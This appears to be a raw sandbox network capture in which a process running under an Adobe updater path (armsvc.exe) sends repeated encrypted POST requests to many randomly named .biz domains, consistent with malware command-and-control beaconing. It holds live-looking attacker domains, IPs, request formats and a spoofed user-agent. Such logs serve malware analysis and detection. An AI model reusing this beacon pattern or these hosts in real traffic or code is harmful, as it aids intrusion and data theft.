Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.22	49173	82.112.184.197	80	3320	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 12:12:29.792757034 CET	348	OUT	POST /prfudb HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: lpuegx.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 852
Nov 28, 2024 12:12:29.792785883 CET	852	OUT	Data Raw: d5 3d 8d 74 e9 f9 af 4f 48 03 00 00 fb e1 83 6a 60 4b 62 a5 f2 79 2b ef 22 c0 56 af f9 47 70 f4 44 84 c6 fb 08 ad 94 d2 cc 7b 8f dc f8 24 2e 94 81 89 f4 ae 72 32 3c d7 0c 79 22 06 90 7a 00 dd 27 7f 3f 49 55 79 11 06 cd 1b 11 4d 62 7b 32 b2 72 cf Data Ascii: =tOHj`Kby+"VGpD{$.r2<y"z'?IUyMb{2r:+\&z%M&at3M3.(e/67"~dCq65vU)x\mFD-"{<UBM[b&Zsvr, [1=<l=_`.Yi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.22	49174	82.112.184.197	80	3320	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 12:12:52.176826000 CET	350	OUT	POST /qmufc HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: vjaxhpbji.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 852
Nov 28, 2024 12:12:52.177009106 CET	852	OUT	Data Raw: 64 fe 9b 72 18 18 ef d7 48 03 00 00 56 94 70 a8 9a c2 b6 f3 41 4f ad f1 83 de 27 3e 46 ae ea 8f 06 91 6e c3 d2 49 db 35 2c 8d cb 7a e4 48 91 0c 61 1e b0 a1 3a d7 0f 2a c6 6f 6b ba 20 61 7f 1f 60 ce 18 25 c1 d2 44 29 81 9d 7b 8e 3f 24 34 6a 1e 1b Data Ascii: drHVpAO'>FnI5,zHa:ok a`%D){?$4jwmnI\+UW`Qun0ln$\|6XABaRI{nm2+U+j{}caOax8jz6GHl&l.l"@rt'`[KXI.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.22	49175	82.112.184.197	80	3320	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 12:13:14.276232004 CET	360	OUT	POST /webejpnbfwojkbv HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: vjaxhpbji.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 852
Nov 28, 2024 12:13:14.276252985 CET	852	OUT	Data Raw: 5e b2 f1 30 6c 04 c8 84 48 03 00 00 10 bd 2e 66 e8 2e 24 bc 5b 8b 59 6a 90 47 9c 3e 13 2d 59 94 46 3b d1 ac 27 fd 15 82 2d 8b bb 36 71 b7 37 cb ff 32 1d ba a7 9b db fa c0 01 8b 3c 2d 12 95 5e b3 33 a5 d3 61 be 41 31 21 84 0e 2d 16 f5 12 51 ed f4 Data Ascii: ^0lH.f.$[YjG>-YF;'-6q72<-^3aA1!-QNCbi2/\lg{`"BZ{@K!:ULMp\5M3_i8'gS`=mB7b#+9NpzfH]\i6W;gZ@0#V(R+}cc'z3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.22	49176	47.129.31.212	80	3320	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 12:13:36.522104979 CET	344	OUT	POST /p HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: xlfhhhm.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 852
Nov 28, 2024 12:13:36.522145033 CET	852	OUT	Data Raw: f0 a4 05 98 29 49 62 db 48 03 00 00 7f 96 be d4 7e 7b 77 76 95 8e 3d 1f 3a f4 ca 11 e3 ae 92 b7 a5 1a 16 60 b1 da 43 c7 1f 9a cb 9c 15 28 e5 c5 49 f2 49 bf 24 5e fd 98 8c 35 eb f5 62 48 e5 7a fa f7 29 bb 7c 15 ce 0f f1 7d 32 34 56 77 cb 8f cb 17 Data Ascii: )IbH~{wv=:`C(II$^5bHz)\|}24VwI0TBm9gd}hxr7C+tB\-,v;{'fj'm:7Fm7W'>Z^Dp9+&{e3b#
Nov 28, 2024 12:13:38.589637041 CET	411	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Nov 2024 11:13:38 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=86e371adcf609664bafea5d950f42ae8\|8.46.123.228\|1732792418\|1732792418\|0\|1\|0; path=/; domain=.xlfhhhm.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=8.46.123.228; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.22	49177	13.251.16.150	80	3320	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 12:13:38.898021936 CET	346	OUT	POST /rkqa HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: ifsaia.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 852
Nov 28, 2024 12:13:38.898042917 CET	852	OUT	Data Raw: 63 22 76 32 82 f9 8f 4e 48 03 00 00 51 98 50 08 c0 f1 75 34 14 a4 5f 21 20 22 76 00 9e 6d 21 0a 86 99 bd 6b 1f 2e 65 44 8b 23 69 85 4e 08 71 eb ce be 6f 16 90 0d 77 98 47 69 06 ca 6f 2f a1 da 84 65 b1 79 86 f9 45 b5 b3 37 4f 14 7d ea a5 d0 cd d1 Data Ascii: c"v2NHQPu4_! "vm!k.eD#iNqowGio/eyE7O}f!2,\| :`KY$RzhxZ7P{bphc+nB!^7BEpL</)CBTn>_Y:Jx_W^.]^*B.
Nov 28, 2024 12:13:40.919090986 CET	410	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Nov 2024 11:13:40 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=c2ac7ee271b91aae2d8bb2e9ece4b57f\|8.46.123.228\|1732792420\|1732792420\|0\|1\|0; path=/; domain=.ifsaia.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=8.46.123.228; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.22	49178	44.221.84.105	80	3320	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 12:13:41.697468996 CET	350	OUT	POST /ovknk HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: saytjshyf.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 852
Nov 28, 2024 12:13:41.697479010 CET	852	OUT	Data Raw: 34 b7 18 ab 7f 4b 41 c2 48 03 00 00 47 fc 7b 69 37 40 59 80 57 cf 6b 04 ac 65 9f 56 84 a6 97 e9 23 50 2b 89 ec 42 26 db 7f b3 19 b9 87 05 24 31 7b 66 3e 6a 2e 9c 3e c7 8a d9 9d 6f e9 cd 0d c1 b0 20 1d df ac bc 06 6c 92 90 39 21 11 88 f4 a8 ba 9f Data Ascii: 4KAHG{i7@YWkeV#P+B&$1{f>j.>o l9!i@#Mad>A`%is%eOc9^#1$*$~9-;d {S%iE&~ip(#Zs+-q0z#0kpu#u9%
Nov 28, 2024 12:13:42.839821100 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Nov 2024 11:13:42 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=90782b53ccaab0baae9adc7f4eb2b143\|8.46.123.228\|1732792422\|1732792422\|0\|1\|0; path=/; domain=.saytjshyf.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=8.46.123.228; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.22	49179	18.141.10.107	80	3320	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 12:13:43.118539095 CET	345	OUT	POST /nm HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: vcddkls.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 852
Nov 28, 2024 12:13:43.118582010 CET	852	OUT	Data Raw: 51 c8 6b dc 27 5f a1 88 48 03 00 00 5d 0f 2d 00 7d e2 a5 63 8e 10 de 76 4c c3 c5 bf a1 cc e5 2d b2 d6 b5 52 2a bc f0 21 a8 1c dd 4c 58 8c fc 5f 17 89 a6 ed 74 e0 4c 45 04 ff 4d 8a 5b 5d d2 a3 99 dd 5b 26 1c 68 8a ad 32 92 ba 88 c9 ac 16 94 25 1d Data Ascii: Qk'_H]-}cvL-R!LX_tLEM[][&h2%wTW^%<P!pKx{{"ggOaP_oB>j-x5l%u1-S[=p\|8j:SSUi<?bq3_#x.T0U
Nov 28, 2024 12:13:45.145045996 CET	411	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Nov 2024 11:13:44 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=be09c1d1cb04e6734479abe9670c4e23\|8.46.123.228\|1732792424\|1732792424\|0\|1\|0; path=/; domain=.vcddkls.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=8.46.123.228; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.22	49180	172.234.222.143	80	3320	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 12:13:45.423217058 CET	348	OUT	POST /hwxehcd HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: fwiwk.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 852
Nov 28, 2024 12:13:45.423232079 CET	852	OUT	Data Raw: c6 5e df ac c7 a2 7b e2 48 03 00 00 ed dd da 6a e4 07 b6 6f 81 c8 e2 be 39 f8 7a 64 b3 b8 79 14 d0 75 30 90 90 89 0f 18 92 26 23 cf 72 e3 84 6d 33 2c 89 88 b0 c9 b3 d8 31 1a 86 ad 78 5b 47 38 c7 9f 66 6a 8c 68 1c d4 38 dd 8f fa f5 66 ef aa bf 16 Data Ascii: ^{Hjo9zdyu0&#rm3,1x[G8fjh8fANERR/}\|,_aCSL[*%kW]<) 4Z6C"^n%}%}5p$Li0kYpyi<pVimYZx9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.22	49181	172.234.222.143	80	3320	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 12:13:46.793849945 CET	347	OUT	POST /kbtuvb HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: fwiwk.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 852
Nov 28, 2024 12:13:46.793869019 CET	852	OUT	Data Raw: 15 52 f0 09 14 5f e7 0a 48 03 00 00 c1 ba d2 f1 0c ea e7 8f c8 aa 6d a6 b0 39 f9 5d e6 ce a8 86 c2 36 66 af 82 15 bf 2d bd 0e 49 81 e4 8c 33 c4 96 57 df 7a 4e 02 7a 7b de ab c9 57 eb 6e ed ff 5a 80 12 26 16 5b 21 22 f9 ac f4 50 6e 8e 33 08 92 73 Data Ascii: R_Hm9]6f-I3WzNz{WnZ&[!"Pn3scPKSM,}j\"J_j6Ne*p^' >.BSiq?S)xH(w.D+M_R\05]m/qm$8:vpUw90e?R

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.22	49182	34.246.200.160	80	3320	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 12:13:48.237174988 CET	350	OUT	POST /ebyryipv HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: tbjrpv.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 852
Nov 28, 2024 12:13:48.237195015 CET	852	OUT	Data Raw: 97 f3 81 25 c4 f4 2d 56 48 03 00 00 1a ee 97 57 ee e1 5c 9f c0 ac 0c 30 34 48 7d 6d b7 ea 3f 3d b0 87 af 6c bf 6e 14 69 11 fb 5b 2b cb 9f b2 94 09 c7 2a 53 d8 d8 bf 14 4d 24 7c 17 e5 a4 35 e3 e1 a1 b2 71 6c cd 01 9f bd 77 c3 77 dd d3 b1 9c 38 84 Data Ascii: %-VHW\04H}m?=lni[+*SM$\|5qlww8ZLtaW3:{A-n{Oo4nJ=??uc=azs=nVn("T=7nK4;nQN?x<U@}Q_JpJ:t:
Nov 28, 2024 12:13:49.618149042 CET	410	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Nov 2024 11:13:49 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=03e6de31d47407822d4df08d48d636c5\|8.46.123.228\|1732792429\|1732792429\|0\|1\|0; path=/; domain=.tbjrpv.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=8.46.123.228; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.22	49183	18.208.156.248	80	3320	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 12:13:50.369756937 CET	348	OUT	POST /vhlxvyk HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: deoci.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 852
Nov 28, 2024 12:13:50.369798899 CET	852	OUT	Data Raw: a6 2d f4 75 a0 86 52 68 48 03 00 00 a2 fc de 6d 52 a6 20 ea 15 9d a3 a5 a4 f4 37 e8 82 8f 62 7e 05 54 90 8d e5 3e 41 24 41 c1 4c f2 3c 16 bb 66 52 d5 dd 32 39 3c 28 63 0f a6 9c 8d 46 0f fa d3 17 3b e5 e8 3f 75 f0 0e 6d 84 12 4a 86 fc d6 76 5b f9 Data Ascii: -uRhHmR 7b~T>A$AL<fR29<(cF;?umJv[d9{m$'4e&4CToiEu,Kd{Bq- <\Uz;'Z9l4(y1iS1bo%VOuDmzdycH[anb4Rt
Nov 28, 2024 12:13:51.464062929 CET	409	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Nov 2024 11:13:51 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=22d8f4e2538382d40c618aef6bf6eed2\|8.46.123.228\|1732792431\|1732792431\|0\|1\|0; path=/; domain=.deoci.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=8.46.123.228; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.22	49184	208.100.26.245	80	3320	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 12:13:51.828934908 CET	357	OUT	POST /aphnqtgnwfpgg HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: gytujflc.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 852
Nov 28, 2024 12:13:51.829282045 CET	852	OUT	Data Raw: 5c 95 08 87 f9 87 1f c0 48 03 00 00 a1 4f 10 a6 d0 2a d2 3a 52 6d a0 1c fd e3 ba b3 a4 08 39 f2 1e 88 18 08 56 45 40 2e f6 a8 f0 78 07 fb 89 26 22 b1 73 cb 0f a7 6e 82 55 3b e2 70 c5 ea 70 cc 64 76 e2 eb e2 cf 11 e3 4c 36 6e ad b8 f9 cc 4e 0c e2 Data Ascii: \HO:Rm9VE@.x&"snU;ppdvL6nN)fRWkt:N.BZz(I :#?Sx1ZN!CPJRC5jMRX%{(]XZ(mk}%@#<mp4,C(CYw8FU5RNN
Nov 28, 2024 12:13:52.952058077 CET	744	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.0 (Ubuntu) Date: Thu, 28 Nov 2024 11:13:52 GMT Content-Type: text/html Content-Length: 580 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Nov 28, 2024 12:13:53.367996931 CET	352	OUT	POST /cmjndgqt HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: gytujflc.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 852
Nov 28, 2024 12:13:53.368021965 CET	852	OUT	Data Raw: a7 28 0e 0d 2a f7 d8 4a 48 03 00 00 c9 fb 88 64 74 5f c8 3a 25 9a 9b 94 cf 4e 51 1a a3 39 43 7b 2e 29 7a 2c 77 e3 0b 15 ca 82 42 c3 8e 40 4d 79 06 d8 cf 84 9f 2e a2 b4 36 97 46 33 8d c3 89 a6 fa f0 6c ef 72 c9 a8 b9 f7 89 a8 06 78 59 9d 39 05 8b Data Ascii: (*JHdt_:%NQ9C{.)z,wB@My.6F3lrxY9$wn]/Np_)S_@?9Io\^\@GET2 ~/-L2jY/}1mVa1JUwX^'{NF)'H_%([xATDA3{
Nov 28, 2024 12:13:53.701627016 CET	744	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.0 (Ubuntu) Date: Thu, 28 Nov 2024 11:13:53 GMT Content-Type: text/html Content-Length: 580 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Nov 28, 2024 12:14:11.802828074 CET	358	OUT	POST /tgcwttfqletfhyq HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: yunalwv.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 852
Nov 28, 2024 12:14:11.802855968 CET	852	OUT	Data Raw: de 4d ed 71 2e c9 70 45 48 03 00 00 e4 f9 5b ae c2 c3 5f 64 4b 4b 50 34 53 c3 32 47 0a 86 37 69 1c f2 bc 63 be 0c 57 fa 17 2c 6c 83 93 53 76 8a d9 67 6b 64 6c 64 a7 45 05 13 12 71 30 04 cd 9e 49 d7 3b 1b f9 08 f8 01 1c b2 67 c7 b7 a1 8e da f9 33 Data Ascii: Mq.pEH[_dKKP4S2G7icW,lSvgkdldEq0I;g3C_)/-PL_s +9g`9mom""+PU;ay.<OT\|QmrL\668Ja[osJuZ
Nov 28, 2024 12:14:12.136631966 CET	744	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.0 (Ubuntu) Date: Thu, 28 Nov 2024 11:14:11 GMT Content-Type: text/html Content-Length: 580 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Nov 28, 2024 12:14:12.137566090 CET	358	OUT	POST /tgcwttfqletfhyq HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: yunalwv.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 852
